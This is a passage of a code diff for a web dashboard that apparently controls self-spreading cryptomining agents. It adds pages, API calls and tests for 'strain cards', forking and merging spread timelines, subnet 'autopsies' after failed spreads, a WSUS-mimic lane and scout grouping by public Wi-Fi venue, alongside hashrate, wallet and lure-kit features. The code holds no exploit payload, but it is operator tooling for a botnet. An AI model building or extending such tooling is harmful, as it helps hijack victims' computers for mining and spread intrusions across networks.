E2E_STUB_AGENT_HOSTNAME }], + }, + }); + }); + await page.route(`**/pathtrace/${SESSION_ID}/qr`, async (route) => { + await route.fulfill({ + json: { config: '[Interface]', qr_png_b64: 'iVBORw0KGgo=' }, + }); + }); + await page.route('**/pathtrace/fork', async (route) => { + await route.fulfill({ + json: { + ok: true, + session_id: SESSION_ID, + branches: [ + { + id: 'ghost-e2e-1', + fork_hop_index: 0, + persona: 'aggressive', + status: 'running', + is_ghost: true, + active_tier: 'smb', + }, + ], + mermaid: 'graph TD\n fork --> ghost_e2e', + }, + }); + }); + + const card = page.locator('.pt-agent-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); + await card.click(); + await page.locator('.pt-actions').getByRole('button', { name: /TRACE/i }).click(); + await expect(page.getByRole('button', { name: /Fork/i })).toBeVisible({ timeout: 15_000 }); + await page.getByRole('button', { name: /Fork/i }).click(); + await expect(page.getByTestId('pt-timeline-tree')).toBeVisible({ timeout: 10_000 }); + await expect(page.getByText(/aggressive/i)).toBeVisible(); + await page.getByText('Mermaid branch graph').click(); + await expect(page.getByTestId('pt-mermaid-src')).toContainText('graph TD'); + }); }); diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 3f58ef7..5c81b48 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -24,6 +24,7 @@ const EmberwakePage = lazy(() => import('./pages/EmberwakePage')); const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage')); const ROIPage = lazy(() => import('./pages/ROIPage')); const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage')); +const SeerPage = lazy(() => import('./pages/SeerPage')); export function PageFallback() { return ( @@ -66,6 +67,7 @@ function App() { } /> } /> } /> + } /> diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 351d78a..0990871 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; @@ -230,6 +230,10 @@ export const api = { params.set('limit', String(limit)); return fetchJSON(`/ai/decisions?${params}`); }, + getSeerStream: (limit = 100) => + fetchJSON<{ events: import('../types').SeerEventRecord[]; notes: import('../types').SeerNoteRecord[] }>( + `/seer/stream?limit=${limit}`, + ), getClearanceEvents: (agentId?: string, limit = 50) => { const params = new URLSearchParams(); if (agentId?.trim()) params.set('agent_id', agentId.trim()); @@ -361,6 +365,21 @@ export const api = { '/fleet/modules/push', { method: 'POST', body: JSON.stringify(body) }, ), + listStrainCards: (agentId?: string) => + fetchJSON( + agentId ? `/fleet/strain-cards?agent_id=${encodeURIComponent(agentId)}` : '/fleet/strain-cards', + ), + playStrainCard: (body: { agent_id: string; card_id: string }) => + fetchJSON<{ + success: boolean; + agent_id?: string; + card_id?: string; + play_id?: string; + persona?: string; + strain?: string; + queued?: boolean; + error?: string; + }>('/fleet/play-strain-card', { method: 'POST', body: JSON.stringify(body) }), // Public builds (unauthenticated — used on login page) listPublicBuilds: async (): Promise => { @@ -481,6 +500,13 @@ export const api = { discover_error?: string; discovered_at?: string; spread_routes?: SpreadRouteRecommendation[]; + timeline_root_id?: string; + timeline_branches?: import('../help/pathTracerTimeline').PathTraceTimelineBranch[]; + merged_persona?: string; + merged_spread_lane?: string; + merged_branch_id?: string; + merged_hashrate?: number; + mermaid?: string; }>(`/pathtrace/${id}/status`), spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) => fetchJSON<{ @@ -508,6 +534,36 @@ export const api = { deleteTrace: (id: string) => fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }), + getSubnetAutopsy: (subnet: string) => + fetchJSON(`/atlas/subnet-autopsy?subnet=${encodeURIComponent(subnet)}`), + forkTraceTimeline: (sessionId: string, forkHopIndex: number, personas?: string[]) => + fetchJSON<{ + ok: boolean; + session_id: string; + branches: import('../help/pathTracerTimeline').PathTraceTimelineBranch[]; + mermaid: string; + }>('/pathtrace/fork', { + method: 'POST', + body: JSON.stringify({ + session_id: sessionId, + fork_hop_index: forkHopIndex, + personas: personas ?? [], + }), + }), + mergeTraceTimeline: (sessionId: string, branchId: string) => + fetchJSON<{ + ok: boolean; + session_id: string; + merged_branch_id: string; + merged_persona: string; + merged_spread_lane?: string; + branches: import('../help/pathTracerTimeline').PathTraceTimelineBranch[]; + mermaid: string; + }>('/pathtrace/merge', { + method: 'POST', + body: JSON.stringify({ session_id: sessionId, branch_id: branchId }), + }), + // Cancel an in-progress forge build by its cancel token. cancelBuild: (cancelToken: string) => fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css index ca558de..c36f1e4 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.css +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -291,3 +291,56 @@ border: 1px solid rgba(255, 255, 255, 0.25); flex-shrink: 0; } + +.access-depth-strain-cards { + display: flex; + flex-direction: column; + gap: 0.35rem; + margin-top: 0.35rem; +} + +.access-depth-strain-card { + border: 1px solid rgba(255, 255, 255, 0.12); + border-left: 3px solid var(--strain-accent, #6a8fad); + border-radius: 4px; + padding: 0.35rem 0.45rem; + background: rgba(0, 0, 0, 0.2); +} + +.access-depth-strain-card[data-strain] { + --strain-accent: #6a8fad; +} + +.access-depth-strain-card-head { + display: flex; + align-items: center; + gap: 0.35rem; + font-size: 0.72rem; +} + +.access-depth-strain-card-title { + flex: 1; + color: #e0e8f0; + text-transform: lowercase; +} + +.access-depth-strain-play { + font-size: 0.65rem; + padding: 0.1rem 0.4rem; + border: 1px solid rgba(255, 255, 255, 0.2); + border-radius: 3px; + background: rgba(255, 255, 255, 0.06); + color: #c8e6ff; + cursor: pointer; +} + +.access-depth-strain-play:disabled { + opacity: 0.45; + cursor: not-allowed; +} + +.access-depth-strain-card-meta { + font-size: 0.65rem; + color: #98a8b8; + margin-top: 0.15rem; +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index 81c2f8c..5f06cc1 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -11,6 +11,7 @@ import { parseAccessDepthDiagnostics, parseAccessDepthServerPolicy, } from '../../help/accessDepth'; +import { api } from '../../api/client'; vi.mock('../../hooks/useWebSocket', () => ({ useWebSocket: () => ({ latestMessage: null }), @@ -27,6 +28,8 @@ vi.mock('../../api/client', () => ({ }, }, }), + listStrainCards: vi.fn().mockResolvedValue([]), + playStrainCard: vi.fn().mockResolvedValue({ success: true }), }, })); @@ -228,6 +231,32 @@ describe('AccessDepthPanel', () => { expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument(); }); + it('renders lineage strain card with play control', async () => { + vi.mocked(api.listStrainCards).mockResolvedValueOnce([ + { + id: 'card-1', + root_agent_id: 'root', + source_agent_id: 'a1', + source_agent_name: 'Winner', + spread_strain: '#a1b2c3', + spread_lane: 'dns_txt', + persona: 'persuasive', + parents: [], + wins: ['container', 'wsl'], + losses: ['docker'], + subnets: ['10.0.0.x'], + erasure_recovery_rate: 1, + peak_hashrate: 800, + tier_order: ['container', 'wsl'], + tree_size: 2, + }, + ]); + renderPanel(mockAgent({ id: 'a1', status: 'online' })); + expect(await screen.findByText(/strain · persuasive/i)).toBeInTheDocument(); + expect(screen.getByText(/2W · 1L · 1 subnets · erasure 100%/i)).toBeInTheDocument(); + expect(screen.getByRole('button', { name: /play/i })).toBeInTheDocument(); + }); + it('renders clearance badge L0–L4 with tooltip permissions', () => { renderPanel(mockAgent({ clearance_level: 2 })); const badge = screen.getByLabelText(/Clearance L2/i); diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx index 6f9f17b..e32a5d3 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -13,7 +13,7 @@ import { formatClearanceElevation, } from '../../help/clearance'; import { useWebSocket } from '../../hooks/useWebSocket'; -import type { Agent } from '../../types'; +import type { Agent, StrainCard } from '../../types'; import { HelpTip } from '../HelpTip'; import JoinLaneBadge from './JoinLaneBadge'; import LotlTierBadge from './LotlTierBadge'; @@ -77,6 +77,8 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { const [policyLoaded, setPolicyLoaded] = useState(false); const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({})); const [elevationFlash, setElevationFlash] = useState(null); + const [strainCards, setStrainCards] = useState([]); + const [strainPlayBusy, setStrainPlayBusy] = useState(null); const flashTimerRef = useRef(null); const clearanceLevel = agent.clearance_level ?? 1; @@ -124,6 +126,44 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { }; }, []); + useEffect(() => { + let cancelled = false; + api + .listStrainCards(agent.id) + .then((cards) => { + if (!cancelled) setStrainCards(cards ?? []); + }) + .catch(() => { + if (!cancelled) setStrainCards([]); + }); + return () => { + cancelled = true; + }; + }, [agent.id]); + + useEffect(() => { + if (!latestMessage) return; + if (latestMessage.type === 'strain_card' || latestMessage.type === 'strain_card_played') { + const p = latestMessage.payload as { card?: StrainCard; agent_id?: string }; + if (p.card && (p.card.source_agent_id === agent.id || p.card.root_agent_id === agent.id || p.agent_id === agent.id)) { + setStrainCards((prev) => { + const next = prev.filter((c) => c.id !== p.card!.id); + return [p.card!, ...next]; + }); + } + } + }, [latestMessage, agent.id]); + + const playStrainCard = async (card: StrainCard) => { + if (strainPlayBusy) return; + setStrainPlayBusy(card.id); + try { + await api.playStrainCard({ agent_id: agent.id, card_id: card.id }); + } finally { + setStrainPlayBusy(null); + } + }; + const model = useMemo( () => buildAccessDepthModel(agent, diagnostics, serverPolicy), [agent, diagnostics, serverPolicy], @@ -205,6 +245,45 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ) : null} )} + {strainCards.length > 0 && ( +
+ {strainCards.slice(0, 2).map((card) => ( +
+
+ {card.spread_strain ? ( + + ) : null} + + strain · {card.persona} + + +
+
+ {card.wins.length}W · {card.losses.length}L · {card.subnets.length} subnets + {card.erasure_recovery_rate > 0 + ? ` · erasure ${Math.round(card.erasure_recovery_rate * 100)}%` + : ''} +
+
+ ))} +
+ )} {model.phenotypeSource && (
phenotype cloned from {model.phenotypeSource} @@ -216,6 +295,13 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ) : null}
)} + {serverPolicy.graft_enabled && (agent.graft_tier || agent.graft_source_strain) && ( +
+ genealogy graft pending · tier {agent.graft_tier} + {agent.graft_source_strain ? ` · strain ${agent.graft_source_strain}` : ''} + {' '}(applies on next spread) +
+ )}
diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index 14a2971..cf9e3c6 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -12,6 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs'; import SetupBanner from '../SetupBanner'; import { getSetupStatus } from '../../help/setupStatus'; import { resolvePageWeather } from '../../help/pageWeather'; +import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather'; import { isDashboardRoute } from '../../help/routeEffects'; import { api } from '../../api/client'; import { usePresence } from '../../context/PresenceContext'; @@ -40,10 +41,11 @@ function operatorDeckId(pathname: string): string { if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline'; if (path.startsWith('/roi')) return 'roi'; if (path.startsWith('/activity')) return 'activity'; + if (path.startsWith('/seer')) return 'seer'; return 'dashboard'; } -const NAV = [ +const NAV_BASE = [ { to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/crucible', label: 'Crucible', icon: 'crucible' }, { to: '/activity', label: 'Activity Feed', icon: 'activity' }, @@ -57,6 +59,20 @@ const NAV = [ { to: '/settings', label: 'Calibrate', icon: 'gear' }, ] as const; +const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const; + +function buildNav(aiControlEnabled: boolean) { + if (!aiControlEnabled) { + return [...NAV_BASE]; + } + const items = [...NAV_BASE]; + const calibrateIdx = items.findIndex((i) => i.to === '/settings'); + items.splice(calibrateIdx, 0, SEER_NAV); + return items; +} + +const NAV = NAV_BASE; + const DOCS_HREF = '/docs/'; /** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */ @@ -150,6 +166,14 @@ function NavIcon({ type }: { type: string }) { ); + case 'seer': + return ( + + + + + + ); case 'docs': return ( @@ -281,7 +305,19 @@ export default function Layout({ children }: LayoutProps) { }, [moreOpen]); const setupStatus = getSetupStatus(serverConfig, serverInfo); - const pageWeather = resolvePageWeather(location.pathname); + const { latestMessage } = useWebSocket(); + const scoutBiome = useMemo(() => { + if (latestMessage?.type !== 'scout_constellations') return null; + return latestMessage.payload as ScoutConstellationSnapshot; + }, [latestMessage]); + const pageWeather = useMemo(() => { + const base = resolvePageWeather(location.pathname); + const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/'; + if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') { + return mergeScoutBiomeWeather(base, scoutBiome); + } + return base; + }, [location.pathname, scoutBiome]); const showDeckEffects = isDashboardRoute(location.pathname); const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); const mobileShortLabel: Record = { diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index a52ce8f..85256e2 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -54,6 +54,7 @@ export interface AccessDepthServerPolicy { lotl_onion_tiers?: string[]; mining_tier_order?: string[]; mining_skip_tiers?: string[]; + graft_enabled?: boolean; triple_onion?: { recon_tiers?: string[]; deploy_lanes?: string[]; @@ -521,6 +522,8 @@ export function buildAccessDepthModel( export function parseAccessDepthServerPolicy(config: { server?: { lotl_onion_tiers?: string[]; + ai_control_enabled?: boolean; + fleet_roles_enabled?: boolean; triple_onion_policy?: { recon_tiers?: string[]; deploy_lanes?: string[]; @@ -528,9 +531,12 @@ export function parseAccessDepthServerPolicy(config: { }; }): AccessDepthServerPolicy { const server = config.server; + const graftEnabled = + server?.ai_control_enabled === true && server?.fleet_roles_enabled === true; return { lotl_onion_tiers: server?.lotl_onion_tiers, mining_tier_order: [...DEFAULT_MINING_TIER_ORDER], + graft_enabled: graftEnabled, triple_onion: server?.triple_onion_policy ? { recon_tiers: server.triple_onion_policy.recon_tiers, diff --git a/server/web/src/help/scoutBiomeWeather.test.ts b/server/web/src/help/scoutBiomeWeather.test.ts new file mode 100644 index 0000000..d704005 --- /dev/null +++ b/server/web/src/help/scoutBiomeWeather.test.ts @@ -0,0 +1,29 @@ +import { describe, it, expect } from 'vitest'; +import { PAGE_WEATHER } from './pageWeather'; +import { dominantScoutVenue, mergeScoutBiomeWeather } from './scoutBiomeWeather'; + +describe('scoutBiomeWeather', () => { + it('picks dominant venue by agent weight', () => { + const venue = dominantScoutVenue({ + constellations: [ + { ssid: 'a', venue_class: 'campus', agent_ids: ['1', '2', '3'] }, + { ssid: 'b', venue_class: 'airport', agent_ids: ['4', '5', '6', '7'] }, + ], + }); + expect(venue).toBe('airport'); + }); + + it('boosts emberwake pulse for retail scout biome', () => { + const base = PAGE_WEATHER['/emberwake']; + const merged = mergeScoutBiomeWeather(base, { + constellations: [{ ssid: 'Target-Guest', venue_class: 'retail', agent_ids: ['a', 'b', 'c'] }], + }); + expect(merged.pulse).toBeGreaterThan(base.pulse); + expect(merged.energyPulse).toBe(true); + }); + + it('returns base weather when no constellations', () => { + const base = PAGE_WEATHER['/dashboard']; + expect(mergeScoutBiomeWeather(base, null)).toEqual(base); + }); +}); diff --git a/server/web/src/help/scoutBiomeWeather.ts b/server/web/src/help/scoutBiomeWeather.ts new file mode 100644 index 0000000..28f5e1d --- /dev/null +++ b/server/web/src/help/scoutBiomeWeather.ts @@ -0,0 +1,56 @@ +/** Scout constellation venue → ambient weather biome overlay. */ + +import type { PageWeatherConfig } from './pageWeather'; + +export interface ScoutConstellationBiome { + ssid: string; + venue_class: string; + persona_pack?: string; + agent_ids?: string[]; + hits?: number; +} + +export interface ScoutConstellationSnapshot { + constellations?: ScoutConstellationBiome[]; +} + +const VENUE_BIOME: Record> = { + airport: { pulse: 1.35, linkStrength: 0.92, density: 0.95, palette: 'campaign' }, + campus: { pulse: 1.1, linkStrength: 0.82, density: 0.88, palette: 'default' }, + retail: { pulse: 1.75, speed: 0.62, linkStrength: 0.88, palette: 'campaign', energyPulse: true }, + unknown: { pulse: 0.95, linkStrength: 0.7, density: 0.8 }, +}; + +/** Pick the dominant venue class from active scout constellations. */ +export function dominantScoutVenue(snapshot: ScoutConstellationSnapshot | null | undefined): string | null { + const list = snapshot?.constellations ?? []; + if (!list.length) return null; + const rank: Record = { airport: 4, retail: 3, campus: 2, unknown: 1 }; + let best = list[0].venue_class || 'unknown'; + let bestScore = (list[0].agent_ids?.length ?? 1) * (rank[best] ?? 1); + for (let i = 1; i < list.length; i++) { + const venue = list[i].venue_class || 'unknown'; + const score = (list[i].agent_ids?.length ?? 1) * (rank[venue] ?? 1); + if (score > bestScore) { + best = venue; + bestScore = score; + } + } + return best; +} + +/** Merge fleet scout biome hints into route weather (Emberwake / dashboard). */ +export function mergeScoutBiomeWeather( + base: PageWeatherConfig, + snapshot: ScoutConstellationSnapshot | null | undefined, +): PageWeatherConfig { + const venue = dominantScoutVenue(snapshot); + if (!venue) return base; + const overlay = VENUE_BIOME[venue] ?? VENUE_BIOME.unknown; + return { + ...base, + ...overlay, + intensity: Math.min(1, (base.intensity + (overlay.intensity ?? base.intensity)) / 2 + 0.08), + energyPulse: overlay.energyPulse ?? base.energyPulse, + }; +} diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index edd115d..7fa7171 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -156,6 +156,10 @@ export const UI_HELP: Record = { md_preflight: 'Wallet, control URL, and worker name must pass validation before Equip & Strike unlocks. Spread Kit export is skipped automatically when your loadout ships a single-platform or fusion deliverable instead.', + subnet_immune_autopsy: + 'Auto-built when a /24 hits five spread failures: last LOTL attempts, WSUS mimic, persona, erasure fallback, atlas gossip whispers, cause-of-death, and BGP vaccination lane from the spread router.', + pt_subnet_autopsy: + 'Immune autopsy for spread-target /24 prefixes paused by subnet_spread_pause — shows vaccination route hints beside Path Tracer spread routes.', ew_overview: 'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).', ew_campaign_setup: diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts index 3ee732b..a25f99f 100644 --- a/server/web/src/help/wsStatsCoalesce.ts +++ b/server/web/src/help/wsStatsCoalesce.ts @@ -90,6 +90,7 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([ 'notes_typing', 'emberwake_notes_updated', 'emberwake_war_room', + 'scout_constellations', 'agent_online', 'agent_offline', 'new_share', diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index aa7f490..4054354 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -22,6 +22,8 @@ import { usePresence } from '../context/PresenceContext'; import AlsoHere from '../components/Presence/AlsoHere'; import ComradeAvatar from '../components/Presence/ComradeAvatar'; import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard'; +import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; +import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy'; import { HelpTip } from '../components/HelpTip'; import './EmberwakePage.css'; import '../components/Presence/Presence.css'; @@ -63,6 +65,7 @@ export default function EmberwakePage() { const [exportBusy, setExportBusy] = useState(false); const [siteName, setSiteName] = useState('my-blog'); const [notesBusy, setNotesBusy] = useState(false); + const [autopsySubnet, setAutopsySubnet] = useState(''); const typingTimerRef = useRef | null>(null); const typingActiveRef = useRef(false); @@ -115,6 +118,12 @@ export default function EmberwakePage() { void load().catch(() => {}); }, [load]); + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'seer_events') return; + const ev = parseSeerSubnetAutopsy(latestMessage.payload); + if (ev?.prefix) setAutopsySubnet(ev.prefix); + }, [latestMessage]); + const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]); const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]); @@ -242,6 +251,8 @@ export default function EmberwakePage() { + {autopsySubnet && } +
{ vi.spyOn(api, 'getTraceStatus').mockResolvedValue({ session_id: 'sess-1', ready: false, hops: [] }); vi.spyOn(api, 'getTraceQR').mockResolvedValue({ config: 'wg-conf', qr_png_b64: 'abc123' }); vi.spyOn(api, 'deleteTrace').mockResolvedValue({ ok: true }); + vi.spyOn(api, 'forkTraceTimeline').mockResolvedValue({ + ok: true, + session_id: 'sess-1', + branches: [ + { + id: 'ghost-1', + fork_hop_index: 0, + persona: 'aggressive', + status: 'running', + is_ghost: true, + active_tier: 'smb', + }, + ], + mermaid: 'graph TD\n fork --> ghost', + }); + vi.spyOn(api, 'mergeTraceTimeline').mockResolvedValue({ + ok: true, + session_id: 'sess-1', + merged_branch_id: 'ghost-1', + merged_persona: 'aggressive', + merged_spread_lane: 'smb', + branches: [ + { + id: 'ghost-1', + fork_hop_index: 0, + persona: 'aggressive', + status: 'merged', + is_ghost: true, + mining_linked: true, + hashrate: 500, + }, + ], + mermaid: 'graph TD\n fork --> ghost', + }); }); afterEach(() => { @@ -341,4 +375,66 @@ describe('PathTracerPage', () => { expect(screen.getByAltText('WireGuard QR')).toBeInTheDocument(); expect(screen.getByText('wg-conf')).toBeInTheDocument(); }); + + it('shows onion timeline panel after fork at hop', async () => { + vi.mocked(api.getTraceStatus).mockResolvedValue({ + session_id: 'sess-1', + ready: true, + hops: [{ agent_id: 'win-1', status: 'ready', agent_name: 'Rig Alpha' }], + }); + + useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] })); + const user = userEvent.setup(); + renderPage(); + + const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement; + await user.click(card); + await user.click(screen.getByRole('button', { name: /TRACE/i })); + await waitFor(() => expect(capturedPollTick).not.toBeNull()); + capturedPollTick!(); + await waitFor(() => expect(api.getTraceQR).toHaveBeenCalled()); + + const forkBtn = screen.getByRole('button', { name: /Fork/i }); + await user.click(forkBtn); + await waitFor(() => expect(api.forkTraceTimeline).toHaveBeenCalledWith('sess-1', 0)); + + expect(await screen.findByTestId('pt-timeline-tree')).toBeInTheDocument(); + expect(screen.getByText(/aggressive/i)).toBeInTheDocument(); + expect(screen.getByTestId('pt-mermaid-src')).toBeInTheDocument(); + }); + + it('merge best branch calls merge API', async () => { + vi.mocked(api.getTraceStatus).mockResolvedValue({ + session_id: 'sess-1', + ready: true, + hops: [{ agent_id: 'win-1', status: 'ready' }], + timeline_branches: [ + { id: 'canonical', fork_hop_index: -1, status: 'canonical', is_ghost: false }, + { + id: 'ghost-won', + fork_hop_index: 0, + persona: 'silent', + status: 'won', + is_ghost: true, + mining_linked: true, + hashrate: 900, + }, + ], + mermaid: 'graph TD\n a --> b', + }); + + useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] })); + const user = userEvent.setup(); + renderPage(); + + const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement; + await user.click(card); + await user.click(screen.getByRole('button', { name: /TRACE/i })); + await waitFor(() => expect(capturedPollTick).not.toBeNull()); + capturedPollTick!(); + await waitFor(() => screen.getByTestId('pt-timeline-tree')); + + await user.click(screen.getByRole('button', { name: /Merge best branch/i })); + await waitFor(() => expect(api.mergeTraceTimeline).toHaveBeenCalledWith('sess-1', 'ghost-won')); + }); }); diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx index 0332fb6..5db6c43 100644 --- a/server/web/src/pages/PathTracerPage.tsx +++ b/server/web/src/pages/PathTracerPage.tsx @@ -1,10 +1,21 @@ -import { useCallback, useEffect, useRef, useState } from 'react'; +import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { api } from '../api/client'; import { useModalAmbientDuck } from '../context/AmbientMusicContext'; import { useWebSocket } from '../hooks/useWebSocket'; import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types'; +import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; +import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from '../help/subnetAutopsy'; import { HelpTip } from '../components/HelpTip'; import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; +import { + branchStatusClass, + branchStatusLabel, + ghostBranchesByHop, + mergeMermaidStyles, + pickMergeCandidate, + type PathTraceTimelineBranch, + type PathTraceTimelineWS, +} from '../help/pathTracerTimeline'; import './PathTracerPage.css'; // ── types ───────────────────────────────────────────────────────────────────── @@ -15,6 +26,12 @@ interface TraceStatus { error?: string; hops: PathTraceHop[]; spread_routes?: SpreadRouteRecommendation[]; + timeline_branches?: PathTraceTimelineBranch[]; + merged_persona?: string; + merged_spread_lane?: string; + merged_branch_id?: string; + merged_hashrate?: number; + mermaid?: string; } interface QRData { @@ -28,6 +45,71 @@ function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) { return
{status}; } +function BranchStatusBadge({ branch }: { branch: PathTraceTimelineBranch }) { + return ( + + {branchStatusLabel(branch.status)} + {branch.mining_linked && branch.hashrate ? ` · ${Math.round(branch.hashrate)} H/s` : ''} + + ); +} + +function TimelineBranchTree({ + branches, + hopCount, + onMerge, + mergeBusy, +}: { + branches: PathTraceTimelineBranch[]; + hopCount: number; + onMerge: (branchId: string) => void; + mergeBusy: boolean; +}) { + const byHop = ghostBranchesByHop(branches); + if (byHop.size === 0) return null; + + return ( +
+ {Array.from(byHop.entries()).map(([hopIdx, ghosts]) => ( +
+
Fork @ hop {hopIdx + 1}
+
+ {ghosts.map((b) => ( +
+
+ 👻 + {b.persona} + +
+ {b.active_tier && ( +
lane: {b.active_tier}
+ )} + {b.error &&
{b.error}
} + {(b.status === 'won' || b.mining_linked) && ( + + )} +
+ ))} +
+
+ ))} + {hopCount > 0 && ( +
+ + Canonical chain · {hopCount} hop{hopCount === 1 ? '' : 's'} +
+ )} +
+ ); +} + // ── QR Modal ────────────────────────────────────────────────────────────────── function QRModal({ @@ -102,7 +184,7 @@ function QRModal({ // ── main component ──────────────────────────────────────────────────────────── export default function PathTracerPage() { - const { agents: wsAgents } = useWebSocket(); + const { agents: wsAgents, latestMessage } = useWebSocket(); const [restAgents, setRestAgents] = useState([]); const [selected, setSelected] = useState([]); // ordered chain const [loading, setLoading] = useState(false); @@ -114,6 +196,14 @@ export default function PathTracerPage() { const [qr, setQR] = useState(null); const [showQR, setShowQR] = useState(false); const [spreadRoutes, setSpreadRoutes] = useState([]); + const [autopsySubnet, setAutopsySubnet] = useState(''); + const [timelineBranches, setTimelineBranches] = useState([]); + const [mermaidSrc, setMermaidSrc] = useState(''); + const [mergedPersona, setMergedPersona] = useState(''); + const [forkBusyHop, setForkBusyHop] = useState(null); + const [mergeBusy, setMergeBusy] = useState(false); + const [timelineNotice, setTimelineNotice] = useState(''); + const [graftNoteVisible, setGraftNoteVisible] = useState(false); const pollRef = useRef | null>(null); const [autoEndCountdown, setAutoEndCountdown] = useState(null); @@ -126,6 +216,61 @@ export default function PathTracerPage() { api.listAgents().then(setRestAgents).catch(() => {}); }, []); + useEffect(() => { + api + .getConfig() + .then((cfg) => { + setGraftNoteVisible( + cfg.server?.ai_control_enabled === true && cfg.server?.fleet_roles_enabled === true, + ); + }) + .catch(() => setGraftNoteVisible(false)); + }, []); + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'seer_events') return; + const ev = parseSeerSubnetAutopsy(latestMessage.payload); + if (ev?.prefix) setAutopsySubnet(ev.prefix); + }, [latestMessage]); + + useEffect(() => { + if (autopsySubnet || spreadRoutes.length === 0) return; + const target = spreadRoutes[0]?.target_subnet; + if (target) setAutopsySubnet(subnetAutopsyPrefix(target)); + }, [spreadRoutes, autopsySubnet]); + + const applyTimelineStatus = useCallback((status: TraceStatus) => { + if (status.timeline_branches?.length) { + setTimelineBranches(status.timeline_branches); + } + if (status.mermaid) { + setMermaidSrc(mergeMermaidStyles(status.mermaid)); + } + if (status.merged_persona) { + setMergedPersona(status.merged_persona); + } + }, []); + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'pathtrace_timeline') return; + const p = latestMessage.payload as 